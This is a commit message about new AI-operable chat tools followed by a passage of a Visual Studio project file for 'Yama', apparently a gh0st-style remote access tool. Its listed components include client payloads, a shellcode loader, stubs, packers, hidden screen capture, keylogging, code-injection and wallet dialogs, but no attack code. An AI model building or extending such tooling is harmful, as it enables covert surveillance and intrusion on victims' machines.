Add chat_open, chat_send, chat_wait and chat_close to the MCP tool set, behind a new McpChat switch that defaults to off and is independent of the read-only switch. The tools reuse the existing client chat link: the main connection sends COMMAND_CHAT, the client opens a sub-connection with TOKEN_CONN_AUTH and TOKEN_CHAT_START, the server answers with COMMAND_NEXT_CHAT, and both directions then carry raw CP936 text. Sessions are per host and held in shared pointers under their own mutex, so a waiting chat_wait survives a close or a dropped sub-connection, and chat_send is serialised per session. Text is converted strictly between UTF-8 and CP936: invalid UTF-8, characters GBK cannot represent (emoji, accented letters) and messages over the client's 4000-byte buffer are rejected with -32602 instead of being mangled. A one-second settle delay after the sub-connection binds keeps the first message from reaching the client before its chat window exists. The routing hooks run before the host-management hooks in MessageHandle and clear the route in OfflineProc before the context leaves the list. A five-second tombstone absorbs a late TOKEN_CHAT_START after a timeout, so a failed chat_open does not pop the MFC chat dialog. Idle sessions are swept on every tool call, and audit entries record the session id and byte counts only, never message bodies. The settings dialog gains the chat checkbox and the translated labels for all three languages, and the strict UTF-8 to CP936 helpers move from McpMachine.cpp to McpInternal so both tool families can share them. Co-Authored-By: deepseek-flash
640 lines
34 KiB
XML
640 lines
34 KiB
XML
<?xml version="1.0" encoding="utf-8"?>
|
|
<Project DefaultTargets="Build" ToolsVersion="14.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
|
<ItemGroup Label="ProjectConfigurations">
|
|
<ProjectConfiguration Include="Debug|Win32">
|
|
<Configuration>Debug</Configuration>
|
|
<Platform>Win32</Platform>
|
|
</ProjectConfiguration>
|
|
<ProjectConfiguration Include="Debug|x64">
|
|
<Configuration>Debug</Configuration>
|
|
<Platform>x64</Platform>
|
|
</ProjectConfiguration>
|
|
<ProjectConfiguration Include="Release|Win32">
|
|
<Configuration>Release</Configuration>
|
|
<Platform>Win32</Platform>
|
|
</ProjectConfiguration>
|
|
<ProjectConfiguration Include="Release|x64">
|
|
<Configuration>Release</Configuration>
|
|
<Platform>x64</Platform>
|
|
</ProjectConfiguration>
|
|
</ItemGroup>
|
|
<PropertyGroup Label="Globals">
|
|
<ProjectGuid>{D58E96CD-C41F-4DD1-9502-EF1CB7AC65E5}</ProjectGuid>
|
|
<RootNamespace>My2015Remote</RootNamespace>
|
|
<Keyword>MFCProj</Keyword>
|
|
<ProjectName>Yama</ProjectName>
|
|
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
|
</PropertyGroup>
|
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
|
<ConfigurationType>Application</ConfigurationType>
|
|
<UseDebugLibraries>true</UseDebugLibraries>
|
|
<CharacterSet>MultiByte</CharacterSet>
|
|
<UseOfMfc>Static</UseOfMfc>
|
|
<PlatformToolset>v142</PlatformToolset>
|
|
</PropertyGroup>
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
|
<ConfigurationType>Application</ConfigurationType>
|
|
<UseDebugLibraries>true</UseDebugLibraries>
|
|
<CharacterSet>MultiByte</CharacterSet>
|
|
<UseOfMfc>Static</UseOfMfc>
|
|
<PlatformToolset>v142</PlatformToolset>
|
|
</PropertyGroup>
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
|
<ConfigurationType>Application</ConfigurationType>
|
|
<UseDebugLibraries>false</UseDebugLibraries>
|
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
|
<CharacterSet>MultiByte</CharacterSet>
|
|
<UseOfMfc>Static</UseOfMfc>
|
|
<PlatformToolset>v142</PlatformToolset>
|
|
</PropertyGroup>
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
|
<ConfigurationType>Application</ConfigurationType>
|
|
<UseDebugLibraries>false</UseDebugLibraries>
|
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
|
<CharacterSet>MultiByte</CharacterSet>
|
|
<UseOfMfc>Static</UseOfMfc>
|
|
<PlatformToolset>v142</PlatformToolset>
|
|
</PropertyGroup>
|
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
|
<ImportGroup Label="ExtensionSettings">
|
|
</ImportGroup>
|
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
</ImportGroup>
|
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
</ImportGroup>
|
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
</ImportGroup>
|
|
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
|
</ImportGroup>
|
|
<PropertyGroup Label="UserMacros" />
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
<LinkIncremental>true</LinkIncremental>
|
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir);$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(IncludePath)</IncludePath>
|
|
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir);$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
|
</PropertyGroup>
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
|
<LinkIncremental>true</LinkIncremental>
|
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir);$(SolutionDir)common;$(ProjectDir)libpeconv;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(IncludePath)</IncludePath>
|
|
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir);$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
|
</PropertyGroup>
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
<LinkIncremental>false</LinkIncremental>
|
|
<LibraryPath>$(VLDPATH)\lib\Win32\;$(SolutionDir);$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(SolutionDir)lib;$(LibraryPath)</LibraryPath>
|
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir);$(SolutionDir)common;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(IncludePath)</IncludePath>
|
|
</PropertyGroup>
|
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
|
<LinkIncremental>false</LinkIncremental>
|
|
<LibraryPath>$(VLDPATH)\lib\Win64\;$(SolutionDir);$(SolutionDir)compress;$(SolutionDir)lib;$(SolutionDir)compress\ffmpeg;$(LibraryPath)</LibraryPath>
|
|
<IncludePath>$(WindowsSDK_IncludePath);$(VLDPATH)\include\;$(ProjectDir);$(SolutionDir)common;$(ProjectDir)libpeconv;$(SolutionDir)compress;$(SolutionDir)compress\ffmpeg;$(IncludePath)</IncludePath>
|
|
</PropertyGroup>
|
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
|
<ClCompile>
|
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
|
<WarningLevel>Level3</WarningLevel>
|
|
<Optimization>Disabled</Optimization>
|
|
<PreprocessorDefinitions>WIN32;WINDOWS;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
|
<MinimalRebuild>false</MinimalRebuild>
|
|
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
<OpenMPSupport>false</OpenMPSupport>
|
|
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
|
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
|
</ClCompile>
|
|
<Link>
|
|
<SubSystem>Windows</SubSystem>
|
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
|
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
|
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x86d$(TargetExt)</OutputFile>
|
|
<ImageHasSafeExceptionHandlers>true</ImageHasSafeExceptionHandlers>
|
|
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
|
</Link>
|
|
<Midl>
|
|
<MkTypLibCompatible>false</MkTypLibCompatible>
|
|
<ValidateAllParameters>true</ValidateAllParameters>
|
|
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
</Midl>
|
|
<ResourceCompile>
|
|
<Culture>0x0804</Culture>
|
|
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
</ResourceCompile>
|
|
</ItemDefinitionGroup>
|
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
|
<ClCompile>
|
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
|
<WarningLevel>Level3</WarningLevel>
|
|
<Optimization>Disabled</Optimization>
|
|
<PreprocessorDefinitions>WIN32;WINDOWS;_WINDOWS;_DEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
|
<MinimalRebuild>false</MinimalRebuild>
|
|
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
<OpenMPSupport>false</OpenMPSupport>
|
|
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
|
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
|
</ClCompile>
|
|
<Link>
|
|
<SubSystem>Windows</SubSystem>
|
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
|
<IgnoreSpecificDefaultLibraries>LIBCMT.lib;%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
|
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x64d$(TargetExt)</OutputFile>
|
|
<AdditionalOptions>/ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
|
</Link>
|
|
<Midl>
|
|
<MkTypLibCompatible>false</MkTypLibCompatible>
|
|
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
</Midl>
|
|
<ResourceCompile>
|
|
<Culture>0x0804</Culture>
|
|
<PreprocessorDefinitions>_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
</ResourceCompile>
|
|
</ItemDefinitionGroup>
|
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
|
<ClCompile>
|
|
<WarningLevel>Level3</WarningLevel>
|
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
|
<Optimization>MinSpace</Optimization>
|
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
<PreprocessorDefinitions>WIN32;WINDOWS;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
|
<StringPooling>true</StringPooling>
|
|
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
<OpenMPSupport>false</OpenMPSupport>
|
|
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
|
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
|
</ClCompile>
|
|
<Link>
|
|
<SubSystem>Windows</SubSystem>
|
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
<OptimizeReferences>true</OptimizeReferences>
|
|
<AdditionalDependencies>zlib\zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
|
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
|
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x86$(TargetExt)</OutputFile>
|
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
|
</Link>
|
|
<Midl>
|
|
<MkTypLibCompatible>false</MkTypLibCompatible>
|
|
<ValidateAllParameters>true</ValidateAllParameters>
|
|
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
</Midl>
|
|
<ResourceCompile>
|
|
<Culture>0x0804</Culture>
|
|
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
</ResourceCompile>
|
|
</ItemDefinitionGroup>
|
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
|
<ClCompile>
|
|
<WarningLevel>Level3</WarningLevel>
|
|
<PrecompiledHeader>Use</PrecompiledHeader>
|
|
<Optimization>MinSpace</Optimization>
|
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
|
<PreprocessorDefinitions>WIN32;WINDOWS;_WINDOWS;NDEBUG;_CRT_SECURE_NO_WARNINGS;ZLIB_WINAPI;HPSOCKET_STATIC_LIB;CBC;_WIN32_WINNT=0x0602;WINVER=0x0602;NTDDI_VERSION=0x06020000;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
<MultiProcessorCompilation>true</MultiProcessorCompilation>
|
|
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
|
<StringPooling>true</StringPooling>
|
|
<AdditionalIncludeDirectories>$(SolutionDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
<OpenMPSupport>false</OpenMPSupport>
|
|
<DisableSpecificWarnings>4018;4244;4267;4819;4838</DisableSpecificWarnings>
|
|
<LanguageStandard>stdcpp17</LanguageStandard>
|
|
<AdditionalOptions>/source-charset:utf-8 /execution-charset:.936 %(AdditionalOptions)</AdditionalOptions>
|
|
</ClCompile>
|
|
<Link>
|
|
<SubSystem>Windows</SubSystem>
|
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
|
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
|
<OptimizeReferences>true</OptimizeReferences>
|
|
<AdditionalDependencies>zlib\zlib_x64.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
|
<AdditionalOptions> /SAFESEH:NO /ignore:4099 %(AdditionalOptions)</AdditionalOptions>
|
|
<OutputFile>$(SolutionDir)Bin\$(TargetName)_x64$(TargetExt)</OutputFile>
|
|
<AdditionalLibraryDirectories>$(SolutionDir)..\SimplePlugins\bin</AdditionalLibraryDirectories>
|
|
</Link>
|
|
<Midl>
|
|
<MkTypLibCompatible>false</MkTypLibCompatible>
|
|
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
</Midl>
|
|
<ResourceCompile>
|
|
<Culture>0x0804</Culture>
|
|
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
|
<AdditionalIncludeDirectories>$(IntDir);%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
|
</ResourceCompile>
|
|
</ItemDefinitionGroup>
|
|
<ItemGroup>
|
|
<None Include="..\..\android\ghost.apk" />
|
|
<None Include="..\..\linux\ghost" />
|
|
<None Include="..\..\macos\ghost" />
|
|
<None Include="..\..\Release\ghost.exe" />
|
|
<None Include="..\..\Release\SCLoader.exe" />
|
|
<None Include="..\..\Release\ServerDll.dll" />
|
|
<None Include="..\..\Release\TestRun.exe" />
|
|
<None Include="..\..\Release\TinyRun.dll" />
|
|
<None Include="..\..\x64\Release\ghost.exe" />
|
|
<None Include="..\..\x64\Release\SCLoader.exe" />
|
|
<None Include="..\..\x64\Release\ServerDll.dll" />
|
|
<None Include="..\..\x64\Release\TestRun.exe" />
|
|
<None Include="..\..\x64\Release\TinyRun.dll" />
|
|
<None Include="..\web\index.html" />
|
|
<None Include="lang\en_US.ini" />
|
|
<None Include="lang\zh_TW.ini" />
|
|
<None Include="res\3rd\frpc.dll" />
|
|
<None Include="res\3rd\frps.dll" />
|
|
<None Include="res\3rd\rcedit.exe" />
|
|
<None Include="res\3rd\SCLoader_32.exe" />
|
|
<None Include="res\3rd\SCLoader_64.exe" />
|
|
<None Include="res\3rd\TerminalModule_x64.dll" />
|
|
<None Include="res\3rd\upx.exe" />
|
|
<None Include="res\Cur\1.cur" />
|
|
<None Include="res\Cur\2.cur" />
|
|
<None Include="res\Cur\3.cur" />
|
|
<None Include="res\Cur\4.cur" />
|
|
<None Include="res\Cur\arrow.cur" />
|
|
<None Include="res\Cur\Drag.cur" />
|
|
<None Include="res\Cur\MutiDrag.cur" />
|
|
<None Include="res\My2015Remote.rc2" />
|
|
<None Include="res\web\fit.min.js" />
|
|
<None Include="res\web\opus-decoder.min.js" />
|
|
<None Include="res\web\xterm.css" />
|
|
<None Include="res\web\xterm.min.js" />
|
|
<None Include="stub2\stub32.bin" />
|
|
<None Include="stub2\stub64.bin" />
|
|
</ItemGroup>
|
|
<ItemGroup>
|
|
<ClInclude Include="..\..\client\Audio.h" />
|
|
<ClInclude Include="..\..\client\MemoryModule.h" />
|
|
<ClInclude Include="..\..\client\reg_startup.h" />
|
|
<ClInclude Include="..\..\common\aes.h" />
|
|
<ClInclude Include="..\..\common\encrypt.h" />
|
|
<ClInclude Include="..\..\common\file_upload.h" />
|
|
<ClInclude Include="..\..\common\ikcp.h" />
|
|
<ClInclude Include="..\..\common\iniFile.h" />
|
|
<ClInclude Include="..\..\common\obfs.h" />
|
|
<ClInclude Include="..\..\common\SafeString.h" />
|
|
<ClInclude Include="2015Remote.h" />
|
|
<ClInclude Include="2015RemoteDlg.h" />
|
|
<ClInclude Include="adapter.h" />
|
|
<ClInclude Include="AudioDlg.h" />
|
|
<ClInclude Include="Bmp2Video.h" />
|
|
<ClInclude Include="Buffer.h" />
|
|
<ClInclude Include="BuildDlg.h" />
|
|
<ClInclude Include="CClientListDlg.h" />
|
|
<ClInclude Include="CClientLog.h" />
|
|
<ClInclude Include="CActivityDialog.h" />
|
|
<ClInclude Include="LogSearchBar.h" />
|
|
<ClInclude Include="CDlgFileSend.h" />
|
|
<ClInclude Include="CDrawingBoard.h" />
|
|
<ClInclude Include="CGridDialog.h" />
|
|
<ClInclude Include="Chat.h" />
|
|
<ClInclude Include="CLicenseDlg.h" />
|
|
<ClInclude Include="CListCtrlEx.h" />
|
|
<ClInclude Include="context.h" />
|
|
<ClInclude Include="CPasswordDlg.h" />
|
|
<ClInclude Include="FeatureFlags.h" />
|
|
<ClInclude Include="LicenseFile.h" />
|
|
<ClInclude Include="CRcEditDlg.h" />
|
|
<ClInclude Include="CTextDlg.h" />
|
|
<ClInclude Include="CUpdateDlg.h" />
|
|
<ClInclude Include="CWalletDlg.h" />
|
|
<ClInclude Include="DateVerify.h" />
|
|
<ClInclude Include="DecryptDlg.h" />
|
|
<ClInclude Include="EditDialog.h" />
|
|
<ClInclude Include="FileManagerDlg.h" />
|
|
<ClInclude Include="FileTransferModeDlg.h" />
|
|
<ClInclude Include="file\CFileListCtrl.h" />
|
|
<ClInclude Include="file\CFileManagerDlg.h" />
|
|
<ClInclude Include="file\CFileTransferModeDlg.h" />
|
|
<ClInclude Include="HideScreenSpyDlg.h" />
|
|
<ClInclude Include="HostInfo.h" />
|
|
<ClInclude Include="HostJson.h" />
|
|
<ClInclude Include="InputDlg.h" />
|
|
<ClInclude Include="ZstaPickerDlg.h" />
|
|
<ClInclude Include="IOCPKCPServer.h" />
|
|
<ClInclude Include="IOCPServer.h" />
|
|
<ClInclude Include="IOCPUDPServer.h" />
|
|
<ClInclude Include="IPHistoryDlg.h" />
|
|
<ClInclude Include="KeyBoardDlg.h" />
|
|
<ClInclude Include="LangManager.h" />
|
|
<ClInclude Include="McpServer.h" />
|
|
<ClInclude Include="McpChat.h" />
|
|
<ClInclude Include="McpInternal.h" />
|
|
<ClInclude Include="McpMachine.h" />
|
|
<ClInclude Include="McpSettingsDlg.h" />
|
|
<ClInclude Include="TlsCertificateDlg.h" />
|
|
<ClInclude Include="NetworkDlg.h" />
|
|
<ClInclude Include="NotifyConfig.h" />
|
|
<ClInclude Include="NotifyManager.h" />
|
|
<ClInclude Include="NotifySettingsDlg.h" />
|
|
<ClInclude Include="FeatureLimitsDlg.h" />
|
|
<ClInclude Include="FrpsForSubDlg.h" />
|
|
<ClInclude Include="ShareHostDlg.h" />
|
|
<ClInclude Include="PluginSettingsDlg.h" />
|
|
<ClInclude Include="PreviewTipWnd.h" />
|
|
<ClInclude Include="TriggerSettingsDlg.h" />
|
|
<ClInclude Include="proxy\HPSocket.h" />
|
|
<ClInclude Include="proxy\HPTypeDef.h" />
|
|
<ClInclude Include="proxy\ProxyConnectServer.h" />
|
|
<ClInclude Include="proxy\ProxyMapDlg.h" />
|
|
<ClInclude Include="proxy\SocketInterface.h" />
|
|
<ClInclude Include="pwd_gen.h" />
|
|
<ClInclude Include="RegisterDlg.h" />
|
|
<ClInclude Include="Resource.h" />
|
|
<ClInclude Include="ScreenSpyDlg.h" />
|
|
<ClInclude Include="SearchBarDlg.h" />
|
|
<ClInclude Include="Server.h" />
|
|
<ClInclude Include="ServerTlsSession.h" />
|
|
<ClInclude Include="ServicesDlg.h" />
|
|
<ClInclude Include="ConnectionsDlg.h" />
|
|
<ClInclude Include="SettingDlg.h" />
|
|
<ClInclude Include="ShellDlg.h" />
|
|
<ClInclude Include="TerminalDlg.h" />
|
|
<ClInclude Include="SortListCtrl.h" />
|
|
<ClInclude Include="SplashDlg.h" />
|
|
<ClInclude Include="stdafx.h" />
|
|
<ClInclude Include="SystemDlg.h" />
|
|
<ClInclude Include="sys\CCreateTaskDlg.h" />
|
|
<ClInclude Include="sys\CInjectCodeDlg.h" />
|
|
<ClInclude Include="sys\MachineDlg.h" />
|
|
<ClInclude Include="sys\ServiceInfoDlg.h" />
|
|
<ClInclude Include="TalkDlg.h" />
|
|
<ClInclude Include="targetver.h" />
|
|
<ClInclude Include="ToolbarDlg.h" />
|
|
<ClInclude Include="TrueColorToolBar.h" />
|
|
<ClInclude Include="UIBranding.h" />
|
|
<ClInclude Include="VideoDlg.h" />
|
|
<ClInclude Include="ServerServiceWrapper.h" />
|
|
<ClInclude Include="ServerSessionMonitor.h" />
|
|
<ClInclude Include="CIconButton.h" />
|
|
<ClInclude Include="TerminalModuleLoader.h" />
|
|
<ClInclude Include="WebService.h" />
|
|
<ClInclude Include="WebServiceAuth.h" />
|
|
<ClInclude Include="WebPage.h" />
|
|
<ClInclude Include="SimpleWebSocket.h" />
|
|
</ItemGroup>
|
|
<ItemGroup>
|
|
<ClCompile Include="..\..\client\Audio.cpp" />
|
|
<ClCompile Include="CClientLog.cpp" />
|
|
<ClCompile Include="CActivityDialog.cpp" />
|
|
<ClCompile Include="LogSearchBar.cpp" />
|
|
<ClCompile Include="msvc_compat.c">
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
|
</ClCompile>
|
|
<ClCompile Include="PluginSettingsDlg.cpp" />
|
|
<ClCompile Include="PreviewTipWnd.cpp" />
|
|
<ClCompile Include="TriggerSettingsDlg.cpp" />
|
|
<ClCompile Include="WebService.cpp" />
|
|
<ClCompile Include="HostJson.cpp" />
|
|
<ClCompile Include="McpServer.cpp" />
|
|
<ClCompile Include="McpChat.cpp" />
|
|
<ClCompile Include="McpInternal.cpp" />
|
|
<ClCompile Include="McpMachine.cpp" />
|
|
<ClCompile Include="McpSettingsDlg.cpp" />
|
|
<ClCompile Include="TlsCertificateDlg.cpp" />
|
|
<ClCompile Include="..\..\client\MemoryModule.c">
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
|
</ClCompile>
|
|
<ClCompile Include="..\..\client\reg_startup.c">
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
|
</ClCompile>
|
|
<ClCompile Include="..\..\common\aes.c">
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
|
</ClCompile>
|
|
<ClCompile Include="..\..\common\file_upload.cpp">
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
|
</ClCompile>
|
|
<ClCompile Include="..\..\common\ikcp.c">
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">NotUsing</PrecompiledHeader>
|
|
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">NotUsing</PrecompiledHeader>
|
|
</ClCompile>
|
|
<ClCompile Include="2015Remote.cpp" />
|
|
